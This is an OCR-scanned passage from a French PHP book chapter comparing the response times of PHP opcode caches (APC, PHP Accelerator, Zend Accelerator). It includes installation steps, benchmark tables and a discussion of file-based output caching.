avec APC 
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Tableau 19.9 : Temps de reponse avec APC d'une page mathematique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



50.23 



47.98 



55.43 



49.63 



47.62 



52.40 



5 


48.35 


47.08 


50.45 





7 


46.69 


45.50 


48.30 





10 


46.39 


45.31 


48.62 





50 


47.43 


46.41 


48.41 





100 


47.47 


45.56 


50.73 
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Chapitre 1 9 L'optimisation des temps de reponse 



Apparemment, il n'est pas facile de gagner sur tous les tableaux. Alors que sur les deux tests 
precedents APC offre un gain en performance qui est loin d'etre negligeable, au cours de ce 
test, les temps de reponse sont sensiblement identiques a ceux obtenus sans optimisation (et 
done bien loin des resultats obtenus avec Zend Optimizer). 

II est possible d'esquisser une explication a cela. APC a beau stocker en memoire le resultat de 
la compilation, il n'en reste pas moins qu'il faut executer ce code. Alors que Zend Optimizer 
reduit le temps d'execution et offre un gain interessant sur ce genre de script, il n'en est rien 
pour APC qui execute le code obtenu par une compilation standard. 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC de juin 2002) donnaient de 
meilleurs resultats: de I'ordre de 36 secondes contre 47 ici: Soit une perte de 30% en 
un an. 



REMARQUE 



Conclusion 

Meme s'il est vrai qu'APC n'apporte rien en ce qui concerne le script mathematique (considere 
comme non representatif d'un site web), le gain obtenu dans les autres cas est loin d'etre 
negligeable et justifie pleinement l'utilisation d'un systeme de mise en cache du code compile. 

Nous avons egalement pu constater que globalement de gros progres ont ete realises depuis la 
precedente edition de ce livre. Ce qui fait d'APC une solution tres prometteuse. 

19.6. Avec PHP Accelerator (PHPA) 
Description 

Tout comme APC, PHP Accelerator garde en memoire le resultat de la compilation. C'est done 
egalement une solution de cache, mais pas uniquement, puisque PHPA integre aussi un 
optimisateur de code (comme peut le faire Zend Optimizer). Ce dernier aspect de PHPA est 
cependant considere par leurs auteurs comme etant au premier stade du developpement 
(sous-entendu : il pourrait etre ameliore). 

PHPA, de la societe ionCube, est disponible gratuitement a l'adresse http://php-accelerator.co.uk 
(en anglais). 

Pour la version 4.3.0 de PHP, vous le trouverez pour les systemes d'exploitation suivants : 

FreeBSD, Linux (glibc2 et glibc2.2.5), OpenBSD, Solaris. 

La version testee ici est la 1.3.3r2 pour PHP4.3.0 sous linux. Elle reste a ce jour la derniere 
version disponible. 
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Avec PHP Accelerator (PHPA) 



Installation 

Sous Linux 

Apres avoir copie le fichier dans un repertoire donne (ex. : Itmp), il suffit tout simplement de 
decompresser l'archive. 

# gunzip php_accelerator-1.3.3r2_php-4.3.0_linux_i686-gl ibc2.1.3.tgz 

# tar xvf php_accelerator-1.3.3r2_php-4.3.0_l inux_i686-glibc2.1.3.tar 



II faut ensuite copier le module dans le repertoire des extensions PHP : 

# cp php_accelerator-1.3.3r2_php-4.3.0_linux_i686-gl ibc2.1.3/php_accelerator-1.3 
x .3r2.so /usr/local/lib/php/extensions/php_accelerator_1.3.3r2.so 

puis ajouter quelques lignes au fichier php.ini. 

[PHPA] 
zend_extension=/usr/local/lib/php/extensions/php_accelerator_1.3.3r2.so 

Verification 

Une fois l'operation d'installation effectuee, vous pouvez verifier qu'elle s'est bien deroulee en 
appelant un script contenant simplement la ligne <?php phpinf o ( ) ; ?>. Vous devriez alors 
apercevoir le texte suivant : 
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Tim program makes me of the Zend Scripting Language Engine: 

Zend Engine vl.3.0. Copyright (c) 1 998-2002 Zend Technologies with the ionCube 

PHP Accelerator v1. 3. 3r2, Copyright (c) 2001-2002, by Nick Linclriclge 



"^mi 



Figure 19.26 

phpinfoO 



L'indication "with PHP Accelerator" confirme le succes de l'operation d'installation. 



Mesures 



Page quasi-statique 



%iacheA.3.28 - Linux - PHP/4.3.0 - quasi-statique 




10 100 

Charge (nb req. simul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Cache PHPA (20 tests en 2 series) 

□ Cache APC (20 tests en 2 series) 



Figure 19.27 : 

Temps de reponse 
d'unepage 
quasi-statique avec 
PHPA 
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Tableau 19.10 : Temps de reponse avec PHPA d'une page quasi-statique 
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Nombre de 
requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


1 


20.38 


4.92 


46.85 





3 


3.82 


3.66 


3.99 





5 


3.74 


3.58 


3.93 





7 


3.72 


3.59 


3.85 





10 


3.68 


3.59 


3.81 





50 


3.73 


3.59 


3.90 





100 


3.75 


3.64 


3.89 






Les valeurs obtenues lorsque les appels se font les uns apres les autres sont excessivement 
chaotiques, ce qui n'est pas sans rappeler le phenomene observe avec APC, si ce n'est qu'ici, les 
requetes ne tombent pas en erreur. 

Pour le reste, les resultats sont tres bons (gain de 24%) mais pas tout a fait a la hauteur de ceux 
offerts par APC. La difference mesuree entre ces deux solutions etant tout de meme de 40%. 



REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC 1.3.1pre3) donnaient de moins 
bons resultats: de I'ordre de 4.8 secondes contre 3. 7 id: Soit un gain de 23% d'une 
annee a V autre. 



Page dynamique 



■ Linux - PHP/4.3.0 - dynamique Cmysql-pear) 
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| 50* 
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10 100 

Charge <nb req. simul.) 



□ Sans optimisation (20 tests en 2 series) 

■ Cache PHPA (20 tests en 2 series) 

■ Cache APC (20 tests en 2 series) 



Figure 19.28 : 

Temps de reponse 
d'une page dynamique 
avec PHPA 
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Tableau 19.11 : Temps de reponse avec PHPA d'une page dynamique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



32.02 



21.12 



57.02 



3 


19.60 


18.54 


20.53 





5 


19.81 


18.88 


20.32 





7 


20.05 


19.10 


20.62 





10 


20.42 


19.74 


20.90 





50 


21.88 


20.97 


23.33 





100 


22.80 


21.45 


23.82 






PHPA offre cette fois ci des resultats comparables a ceux obtenus avec APC. Et dans ce cas 
aussi, le nombre de requetes en echec pour 100 requetes simultanees est nul. 
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REMARQUE 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC 1.3.1pre3) donnaient de moins 
bons resultats: de I'ordre de 42 secondes contre 20 ici: Soit un gain de 52% d'une 
annee a I'autre. 



Page mathematique 




Afj.3che/1.3.28 - Linux - PHP/4.3.0 - math 



8 §e a 



+^+ 



10 100 

Charge <nb req. siniul.) 



□ Sans optimisation (20 tests en 2 series) 

■ Cache PHPA (20 tests en 2 series} 

■ Cache APC (20 tests en 2 series) 

■ Zend Optimizer (20 tests en 2 series) 



Figure 19.29 : 

Temps de reponse d'une 
page mathematique 
avec PHPA 
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Tableau 19.12 : Temps de reponse avec PHPA d'une page mathematique 
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Nombre de 

requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


1 


43.47 


41.05 


53.81 





3 


40.56 


40.20 


41.33 





5 


40.67 


40.24 


41.14 





7 


40.80 


40.45 


41.17 





10 


40.90 


40.56 


41.45 





50 


42.52 


41.86 


43.20 





100 


43.43 


41.50 


47.30 






Sur ce test, PHPA ameliore legerement les performances obtenues avec APC sans toutefois 
atteindre le niveau de Zend Optimisateur. 

Le gain est ici de pres de 14 % par rapport a une solution non optimisee. 



REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 etAPC 1.3.1pre3) donnaient des resultats 
sensiblement identiques: de Vordre de 39.8 secondes contre 40. 7 ici: 



Conclusion 

Tout comme APC, PHPA est une solution d'optimisation gratuite et performante. Elle allie 
optimisation du code compile et mise en cache du code avec une certaine efficacite, meme si 
Ton sent que l'optimisation du code pourrait etre amelioree (comme le demontre Zend 
Optimizer). 



19.7. Avec Zend Accelerator (Zend Performance Suite) 
Description 

Zend Accelerator est une solution destinee aux professionnels (done payante), qui est basee sur 
le meme principe que PHPA. Elle est la combinaison d'un optimisateur de code (Zend 
Optimisateur) et d'un cache (la specif icite de Zend Accelerator). 

Elle est disponible pour les systemes d'exploitation : 

Linux glibc2.1 ; 
FreeBSD 4.3 ; 
Solaris Sparc. 
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Nous avons ici teste la version devaluation de Zend Accelerator 3.5.0 pour Linux, disponible 
sur le site (anglais) http://www.zend.com. 

La derniere version disponible est la 4.0, c'est officiellement la seule des solutions presentees 
ici, a supporter PHP 5.0 (et toutes les versions de PHP a partir de PHP 4.1.2) 



Installation 

Son installation est tres simple. 



Sous Linux 

II vous suffit de copier l'archive dans un espace temporaire (ex. : Itmp) et de la decompresses 
Vous aurez certainement besoin d'etre connecte en tant qu'administrateur (root) afin de 
pouvoir creer l'arborescence de Zend Accelerator (typiquement sous lusr/local). 

# gunzip ZendPerformanceSuite-3.5.0-Linux_glibc21-i386.tar.gz 

# tar xvf ZendPerformanceSuite-3.5.0-Linux_gl ibc21-i386.tar 

II vous suffit ensuite de lancer le script d'installation : 

# cd ZendPerformanceSuite-3.5.0-Linux_glibc21-i386 

# . /install. sh 
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et de repondre aux questions... 



Zend Perfcrnance Suite 3.5.0 



Welcome to the Zend Performance Suite 3,5,0 Installation Scrip- 
For more information on this scrips see the Installation 
section in the Zend Performance Suite User Guide, 

Please make sure you have a running Ueb Server and PHP version that 
are compatible with the Zend Performance Suite, For compatibility issues, 
please refer to the Zend Performance Suite compatibility table 
at www,zend,com/store,/products/product_compatibility,php 




Figure 19.30 : 

Fenetre d'accueil 



apres avoir dit "bonjour". Vous pouvez taper [Entree! pour passer aux choses serieuses. 



Zend Per-fornance Suite 3.5.0 

IMPORTANT: 

ftV SELECTING THE 'YES OPTION BEL0U, DOWNLOADING, INSTALLING, OR 

OTHERUISE USING THIS SOFTWARE, YOU ACKNOULEDGE THAT V0U HAVE READ THE 

LICENSE AGREEMENT, AND THAT V0U AGREE TO BE BOUND BV ITS TERMS AND 

CONDITIONS, 

IF VOU DO NOT AGREE TO HLL OF THE TERMS AND CONDITIONS OF SUCH AGREEMENT, 

YOU ARE NUT AN AUTHORIZED USER OF THE SUFTIBRE AND IT IS YUUR 

RESPONSIBILITY TO EXIT THIS [ I hi [If Mill I IIITHOUT 

DOWNLOAD!!*"; OR INSTALLING THE SOFTWARE BY SELECTING THE 'NO' OPTION BELOW, 
AND TO DELETE THE SOFTWARE FROM YOUR COMPUTER. 



Do you accept the terns of the license? 



Figure 19.31 

Licence 
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Acceptez vous les termes de la licence? Nous vous laissons repondre en votre ame et 
conscience. Nous, nous avons opte pour l'option "Yes". 



Zend Performance Suite 3.5.0 

In order to proceed, Setup needs a valid license file* The license file is 
called: 'zend_perforniance_suite,dat ' , If you don't have a valid license 
file, select 'Download a license file from www 4 zend 4 corn' , Otherwise select 
'Seanch far a license file on my disk'. The license file can also be 
downloaded manually from: htlpl//wMW»zend + coin/store/pickup*php» 



□unload a license file fron wwuuzencLco 



Search for a license file on my disk 



Figure 19.32 : 

Cle d 'activation 



Si le script d'installation ne trouve pas de cle d'activation, celui-ci vous propose d'indiquer ou le 
fichier peut se trouver (il s'agit d'un fichier zend_accelerator.dat, habituellement sous le 
repertoire data). Vous pouvez egalement la telecharger (c'est ce que nous avons fait pour 
obtenir une licence devaluation). 



A 



ATTENTION 



Intranet 

La licence doit etre telechargee depuis leposte oil doit etre installe Zend Accelerator. 
II n'est, par exemple, pas possible de lancer le script d'installation depuis un poste 
relie a Internet pour utiliser la cle d'activation sur un poste en Intranet. Si votre poste 
n'est pas relie a Internet, selectionnez tout de meme l'option "download a license file 
from www.zend.com". Un message d'erreur vous indiquera alors comment vous y 
prendre pour recuperer manuellement un fichier de licence. 



Zend Perfomance Suite 3.5.0 

Do you have a Zend.com account? 

You will be asked for your Zend.com usernam: 

and password during installation. 



Figure 19.33 : 

Compte Zend 



II vous est ensuite demande si vous possedez un compte Zend. A priori la reponse est "oui" 
puisque pour pouvoir telecharger Zend Accelerator, vous avez du ouvrir (gratuitement) un 
compte sur le site. Tapez done [ Entree [ . 



Zend Perfomance Suite 3.5.0 

Please enten your Zend.com username 

norriderrioncompteQ 

<Cancel> 



Figure 19.34 : 

Saisie de I'identifiant 



Vous devez alors, ici, saisir I'identifiant de votre compte. 
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Figure 19.35 : 

Saisie du mot de passe 



Saisissez ensuite le mot de passe. 



Zend Perfornance Suite 3.5.0 

Is the product for trial or commercial use? 



E tU»iJMHWAE 

Get Commercial License 



Figure 19.36 : 

Type de la licence 



II vous est ensuite demande quel est le type de la licence. Dans notre cas, il s'agit d'une licence 
devaluation. 



Zend Accelerator 2.0.2 

Successfully downloaded license file 
TOIfiL, UNUSED 




Figure 19.37 : 

Telechargement 
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Et voila... le fichier de licence est telecharge. Tapez sur la touche ( Entree ] . 



Zend Perfornance Suite 3,5.0 

Specify the location where to install Zend Performance 



/usr/ loca l/Zend_Perf or mance_Su ite -3,5*00 




Figure 19.38 : 

Chemin d' installation 



Vous etes alors invite a saisir le chemin du repertoire ou vous souhaitez installer Zend 
Accelerator. Nous vous suggerons lusrllocallZend_Peiformance_Suite-3.5.0 (meme si, par 
defaut, le script vous proposera /usr/local/Zend). 



Zend Perfomance Suite 3.5.0 

Specify the Apache configuration directory 



/usn/loca 1/apache/conf [I 

<Cancel> 



Figure 19.39 : 

Chemin du repertoire du fichier de 
configuration du serveur 
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Puisqu'il veut vraiment tout savoir, il vous faut maintenant donner le chemin du repertoire 
hebergeant le fichier de configuration d'Apache (probablement /usr/local/apache/conf). C'est 
bon ? Allez zou !... (Entree]. 
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Zend PerforBance Suite 3,5,0 

Please confirm the location of your Apache document root directory. 
This is the location where your web documents are stored 



/usr/local/apacheflitdocs 



Figure 19.40 : 

Repertoire racine du 
serveur 



Pas avare de questions, le script vous demande maintenant de preciser quel est le chemin du 
repertoire constituant la racine de votre serveur web (probablement /usr/local/apache/htdocs). 
Ceci va lui servir pour installer les scripts d'administration de Zend Accelerator (on ne se refuse 
rien). 



Zend Perfomance Suite 3.5.0 

Confirm the location of your php.ini file 



3jsr/local/lib 



Figure 19.41 

php.ini 



II est temps desormais de preciser le chemin du repertoire hebergeant le fichier php.ini 
(generalement /usr/local/lib). Une nouvelle pression sur [ Entree I et nous devrions etre bientot 
debarrasses. 



Zend Perforrence Suite 3.5.0 

Please provide a passuord in the field below. 
This passuord will prevent unauthorized access to the Zend 
Performance Suite GUI and will keep others from changing 
your server settings. 



******[] 



Figure 19.42 : 

Mot de passe de I'outil 
d 'administration 



Le script vous demande alors de saisir un mot de passe qui servira a proteger Faeces a la page 
d'administration de Zend Accelerator. 



Zend Perforrence Suite 3.5.0 

Verify the password: 



*******[] 



Figure 19.43 : 

Confirmation du mot de passe 



Comme c'est 1'usage, vous etes invite a confirmer votre mot de passe (pour s'assurer qu'aucune 
erreur de saisie n'est intervenue). 
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Zend Performance Suite 3.5.0 

Please confirm the username your PHP scripts run as under Rpache 



ftjbody 



Figure 19.44 : 

Confirmation de 
Vutilisateur Apache 



Puis, il vous faudra confirmer le nom d'utilisateur sous lequel tourne le serveur Apache. 

Figure 19.45 : 

Espace cache 



Zend Perfornance Suite 3.5.0 

Please enten the path ton the cache storage directory. 
This directory must have sufficient fnee space. 



mtmp/cache 



Vous devrez egalement specifier un espace de stockage temporaire des fichiers de cache. 



Zend Perfornance Suite 3.5.0 

The Zend Performance Suite includes a special daemon process that ensures 
that old and outdated cached files are removed from the system. In order 
to ensure that this daemon is operating at all times, a line will be added 
to your crontab, that will check that the cleaner process is running every 
10 minutes. 

Is this ok? 



Figure 19.46 

Crontab 
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II vous est egalement demande d'accepter d'ajouter une entree dans la crontab afin de pouvoir 
effectuer un nettoyage regulier du contenu obsolete du cache. 



Zend Per-for»ance Suite 3.5.0 

Lie are going to add scheduled execution to the nobody's crontab file: 
0,10,20,30,40,50 * ■ ■ » /usr/local/Zend_Performance_Suite-3.5,0/sbin/cache 
clean /usr/local/lib/php.ini 
Do you accept? 



Figure 19.47 : 

Confirmation crontab 



Pour ne rien vous cacher, Zend Accelerator precise la ligne qui sera ajoutee a la crontab avant 
de vous demander confirmation. 



Zend Accelerator 2.0.2 

Vour php.ini is relocated tD the /usr/local/Zend_Accelerator_2,0 + 2/etc directory 
and symbolic link from the former place /usr/local/Zend/etc/php # ihi is created. 



Figure 19.48 : Lien symbolique 

II semblerait que nous en ayons fini avec les questions. Le script d'installation vous indique 
alors que votre fichier php.ini a ete deplace de son ancienne position (ici /usr/local/Zend/etc/ 
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mais, habituellement, /usr/local/lib) vers sa nouvelle : /usr/local/Zend_Accelerator_2.0.2/etc. Un 
lien symbolique est alors cree de l'ancienne position vers la nouvelle. C'est note ? | Entree ) . 



Zend Perfornance Suite 3.5.0 

The installation was completed successfully. 
The Zend Performance Suite is ready for use. 
Vou must restart your web server for the modifications to take effect. 




Figure 19.49 : 

Fenetre de fin 
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Voila, c'est fini... ou presque. 



Zend Perfornarice Suite 3.5.0 

Restart the webserver now? 



EK < No > 



I 



Figure 19.50 : 

Relance du serveur 



II est temps de relancer le serveur web afin de prendre en compte les changements. 

Figure 19.51 : 

Fenetre defin 



Zend Perfomance Suite 3.5.0 

Specify the flpaehe bin directory 



/usn/ local/apache£b in 



..mais pour cela, Zend Optimizer doit connaitre l'emplacement du repertoire bin/ d'Apache. 

Figure 19.52 : 

Fenetre de fin 




Cette c'est bon. 



Verification 

Une fois l'operation d'installation effectuee, vous pouvez verifier qu'elle s'est bien deroulee en 
appelant un script contenant simplement la ligne <?php phpinf o ( ) ; ?>. Vous devriez alors 
apercevoir le texte suivant : 



This program makes use of the Zand Scripting Language Fnojoa 
Zand Engine v1 30, Copyright (c) 1 998-2002 Zend Technologies with Zend Extension 
Manager vl 0, Copyright (c) 2005, by Zand Technologies with Zand Optimizer 
V2.1 .0, Copyright (c; 1 398-2003, by Zend Technologies with Zend Performance Suite 
V3.5 0, Copyright (c) 1 999-2003, by Zend Technologies 




Figure 19.53 

phpinf o() 



L'indication "with Zend Accelerator" (ajoutee a "with Zend Optimizer") confirme le succes de 
l'operation d'installation. 
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Vous constaterez egalement la presence de nombreuses nouvelles lignes dans votre fichier 
php.ini. 

[Zend] 

zend_gui_password=<le mot de passe crypte de 1 'interface d'admini strati on> 

zend_accel erator. use_blacklist_filename=<chemin vers Zend 

s-= Accel erator>/etc/user_bl ackl i st .ZendAccel erator . txt 

zend_accelerator.val idate_timestamps=l 

zend_accel erator . use_cwd=l 

zend_extension=<chemin vers Zend Accel erator>/l ib/ZendExtensionManager.so 

. ..etc. . . 

Si vous souhaitez desactiver l'optimisateur Zend, il vous suffira de mettre ces lignes en 
commentaire (en les faisant preceder d'un point-virgule). 



Mesures 



Page quasi-statique 



Qpache/1.3.28 - Linux - PHP/4.3.0 - quasi-statii 




10 100 

Charge (nb req. sirnul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Cache APC (20 tests en 2 series) 

□ Zend Accelerator (20 tests en 2 series) 



Figure 19.54 : 

Temps de reponse 
d'unepage 
quasi-statique avec 
Zend Accelerator 
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Tableau 19.13 : Temps de reponse avec Zend Accelerator d'une page quasi-statique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



1 


6.96 


4.39 


13.42 





3 


3.47 


3.33 


3.70 





5 


3.37 


3.24 


3.46 





7 


3.35 


3.23 


3.47 





10 


3.34 


3.24 


3.45 






50 


3.36 


3.28 


3.46 





100 


3.38 


3.31 


3.49 
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Les valeurs obtenues sont du niveau de ceux de PHPA (gain de 3 1 %) mais n'atteignent pas ceux 
d'APC. En revanche les appels qui se font les uns apres les autres offrent des temps de reponse 
relativement stable (en tout cas plus qu'avec PHPA ou APC). 



REMARQUE 



Comparatifavec les tests des editions precedentes 

Lorsdu test precedent (base sur PHP 4.2.1 et Zend Accelerator 2.0.2), etonnamment 
celui-ci ne fonctionnait pas. 
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Page dynamique 




10 100 

Charge (nb req. sirnul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Cache APC (20 tests en 2 series) 

□ Zend Accelerator (20 tests en 2 series) 



Figure 19.55 : 

Temps de reponse 
d'unepage dynamique 
avec Zend Accelerator 



Tableau 19.14 : Temps de reponse avec Zend Accelerator d'une page dynamique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



25.34 
21.22 



22.44 
19.64 



35.00 
22.05 



5 


21.50 


20.00 


22.51 





7 


21.79 


20.10 


22.98 





10 


22.04 


22.38 


22.99 





50 


23.72 


21.93 


25.01 





100 


24.66 


23.11 


26.06 






Zend Accelerator offre une optimisation tout a fait interessante (gain de 70%) mais toutefois 
legerement moindre que celle de ses concurrents gratuits. 

Encore une fois, le gain en performance a mis un terme aux echecs constate lorsque le nombre 
de requetes concurrentes atteint 100. 
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Avec Zend Accelerator (Zend Performance Suite) 



»0 

REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Accelerator 2.0.2) donnaient de 
moins bons resultats: de I'ordre de 28 secondes contre 21.5 id: Soit un gain de 23% 
d'une annee a V autre. 



Page mathematique 



Apache/1.3.23 - Linux - PHP/4.3.0 - math 
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Charge (nb req. siniul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Zend Optimizer (20 tests en 2 series) 

□ Zend Accelerator (20 tests en 2 series) 



Figure 19.56 : 

Temps de reponse 
d'une page 
mathematique avec 
Zend Accelerator 
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Tableau 19.15 : Temps de reponse avec Zend Accelerator d'une page mathematique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



1 


23.26 


21.59 


28.27 





3 


20.92 


20.61 


21.25 





5 


20.88 


20.39 


21.07 





7 


20.92 


20.56 


21.20 






10 


21.06 


20.58 


21.36 





50 


21.49 


20.87 


22.24 





100 


21.33 


20.91 


22.24 






Les resultats obtenus ici sont egalement epoustouflants, bien meilleurs que ceux de PHPA ou 
meme que ceux de Zend Optimizer. 

Le gain est ici de 55 % par rapport a une solution sans optimisation. 

Malheureusement, rappelons-le, ce test n'est pas le plus representative d'une page d'un site web. 
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Chapitre 1 9 L'optimisation des temps de reponse 



»0 

REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Accelerator 2.0.2) donnaient de 
moins bons resultats: de I'ordre de 25 secondes contre 21 id: Soit un gain de 16% 
d'une annee a V autre. 
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Conclusion 

Zend Accelerator ne semble prendre l'avantage sur les autres solutions testees que dans le cas 
du test integrant des boucles sur des operations mathematiques. Ce qui semble bien maigre 
sachant que cette solution est payante et non les autres. Reste toutefois a completer ces tests 
afin de mieux evaluer la stabilite de ces produits et l'impact d'un choix d'une autre machine et 
d'un autre environnement. 

19.8. Conclusion sur les solutions "bas niveau" 
(modules PHP) 

Avant de tirer une conclusion, il convient de rappeler que les tests effectues ici n'ont qu'une 
representativite limitee. Les resultats peuvent en effet considerablement changer d'une 
configuration a l'autre. Vous n'obtiendrez certainement pas les memes resultats sur une 
machine disposant d'un processeur plus efficace, d'une plus grande quantite de memoire ou 
d'un disque dur plus rapide. Mais cela depend aussi beaucoup de 1'architecture de votre 
systeme (il n'est pas vraiment conseille de faire tourner la base de donnees sur la meme 
machine que le serveur web) et, plus encore, du type de script utilise (comme le demontre ces 
quelques tests). Les tests n'ont porte que sur trois scripts ; les caches n'avaient done a gerer, au 
plus, que trois fichiers. Nous etions done bien loin du cas de figure d'un veritable site 
hebergeant peut-etre des centaines de scripts. Bref, tout cela peut faire que vous puissiez etre 
amene a constater des differences de performance moins grandes (ou plus grandes) d'une 
solution d'optimisation a l'autre, voire meme que la hierarchie s'en trouve changee. 

De plus, ces tests ont tous ete realises avec la configuration par defaut. II est possible (et meme 
probable) que certaines des solutions testees auraient pu donner des resultats plus probants 
s'ils avaient ete configures pour repondre au mieux aux besoins des scripts. 

Quoi qu'il en soit, la premiere des constatations que Ton peut faire, et ce n'est pas la moindre, 
e'est que ces tests confirment qu'il est possible d'ameliorer grandement les performances d'un 
serveur web equipe de PHP. La meilleure solution consistant a optimiser le code genere et a le 
stocker en memoire cache. 

Enfin, il semblerait qu'il ne soit pas (sauf cas particulier) necessaire de vider son porte monnaie 
pour obtenir des resultats optimum, sachant que PHP Accelerator et APC font plus que 
rivaliser avec Zend Accelerator. A ce jour, notre preference se portera sur PHP Accelerator 
sachant que le version de production d'APC (pour les versions recentes de PHP) n'est pas 
encore sortie et que la version de developpement en court semble contenir quelques 
imperfections mais cela pourrait changer a tout moment. 
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Les solutions "haut niveau" (programmation PHP) 



A contrario, Zend Optimizer ne semble pas a recommander, sauf si votre site est un peu 
particulier. Cette remarque n'est egalement pas valable si vous optez pour l'obfuscation de 
code (presentee dans le chapitre suivant). 



REMARQUE 



Cache et mise a jour 

II y a au moins un point qui n 'a pas ete aborde, mais qu'ilfaut garder a Vesprit. 
Comme toujours avec les solutions de mise en cache, la difficulte consiste a 
determiner la limite de validite du cache, autrement dit a repondre a la question 
"est-ce que le document source a ete modifie depuis queje Vai mis en cache ?". Afin 
de repondre a cette question, la plupart des solutions (toutes ?) controlent tout 
simplement la date de derniere modification du fichier. Vous n'aurez done pas a 
arreterpuis redemarrer le serveur afin de prendre en compte les corrections apportees 
a vos scripts (et encore moins a aller effacer je ne sais quel fichier temporaire). 
Certaines des solutions d' optimisation proposent toutefois de desactiver ce controle 
afin d'augmenter encore le temps de reponse. 

Meme si toutes les solutions d'optimisation n'ont pas ete testees ici, sachez qu'il existe tres peu 
de logiciels de ce type pour Windows. Si malgre tout vous avez opte pour ce systeme 
d'exploitation, alors peut etre devrez vous essayer Turck MM Cache disponible a l'adresse 

http://www. turcksoft. com . 



19.9. Les solutions "haut niveau" (programmation 



PHP) 



Comme nous l'avons vu dans le chapitre Optimisation des temps de reponse integre au chapitre 
Les en-tetes HTTP, il est tres aise d'utiliser un systeme de cache de "haut niveau" consistant a 
stocker dans un fichier le resultat de ['interpretation PHP. En effet, ce fichier peut etre rappele 
a chaque nouvelle requete et/ou recree lorsque sa duree de vie a expire. 

La principale difficulte avec ce genre de script est de determiner la duree de vie que Ton doit 
donner au fichier de cache. Mais, comme il n'y a aucune regie pour fixer ce seuil, nous vous 
laissons vous en remettre a votre bon sens. 

Une autre difficulte peut consister a determiner les scripts qui doivent en profiter. Pour un 
script qui ne depend d'aucun parametre (post, get, session ou cookie), necessite un long 
traitement (ou une requete SQL un peu longue), et ne varie pas toutes les 10 mn (ou qui 
autorise un retard de mise a jour de plus de 10 mn), il n'y a quasiment pas de questions a se 
poser : ce type d'optimisation s'impose. Si nous sommes dans les memes conditions, mais que le 
script depend d'un certain nombre de parametres, cette solution n'est envisageable que si ces 
parametres ne peuvent prendre qu'un nombre fini et reduit de valeurs. II faudra, dans ce cas, 
creer un fichier de cache par ensemble de parametres possibles. 

Dans tous les autres cas, nous considerons que cette solution ne doit pas etre envisagee. 

Si Ton considere les exemples qui nous ont servis a comparer les solutions "bas niveau", il est 
evident qu'un cache "haut niveau" ne peut etre utilise avec l'exemple dynamique, mais qu'en 
revanche, cela apporterait beaucoup a l'exemple mathematique (le delai d'expiration serait 
meme infini... Mais bon, dans ce cas, autant utiliser une page statique). 
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Chapitre 1 9 L'optimisation des temps de reponse 
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En ce qui concerne l'exemple quasi-statique, il est plus difficile de trancher. II y a peu de code 
a executer, ce qui fait que les temps de reponse semblent bien courts. En pareil cas, l'utilisation 
d'un cache de haut niveau pourrait etre contre-productif. En effet, lorsque Ton fait appel a un 
script qui se suffit a lui-meme, cela ne necessite qu'un seul acces au disque, alors que, pour un 
script identique qui utilise un fichier de cache, il faut deux a trois acces au disque (un pour 
charger le script, un autre pour charger le fichier de cache et il faut, de plus, verifier la date de 
derniere modification du script). Multiplier ainsi les acces au disque par deux ou trois peut etre 
vraiment penalisant, notamment vis-a-vis de la montee en charge. 

En fait, il s'avere que le script qui nous a servi pour l'exemple fait une multitude d' include, et 
chaque include necessite un acces au disque. Ces acces sont done bien plus nombreux que 
dans une solution faisant appel a un fichier de cache. 

Les performances s'en ressentent, comme le montre le graphe suivant qui compare : 

L'exemple precedent quasi-statique ; 

Sa version legerement modifiee pour gerer un fichier de cache d'une duree de vie de 10 mn ; 

Une version statique de la page (sauvegarde au format HTML du resultat retourne par le 
script PHP). 

Figure 19.57 : 

Comparaison des 
versions statique, 
fichier de cache et 
quasi-statique 



«che/1.3.2S - Linux - PHP/4.3.0 - Sons optimisation 



O 












4 



Charge tnb req. simul.J 



□ quasi-statique (20 tests en 2 series) 
| statique (20 tests en 2 series) 

□ fichier de cache (20 tests en 2 series) 



Alors que la version quasi-statique repond aux 500 requetes en 4,8 secondes, la version avec un 
fichier cache repond en 2,9 secondes et la version statique, elle, ne demande que 1,8 secondes. 



REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1) donnaient de moins bons resultats: de 
I'ordre de 5, 7 secondes contre 4,8 et 3,4 contre 2, 9 ici: Soit un gain de 15% d'une 
annee a I'autre. 



19.10. Conclusion 



D'un tout autre fonctionnement que les caches de bas niveau vus precedemment, les caches de 
haut niveau peuvent eux aussi ameliorer grandement les performances de votre site Internet, a 
condition toutefois que la nature des scripts demandes s'y prete. 
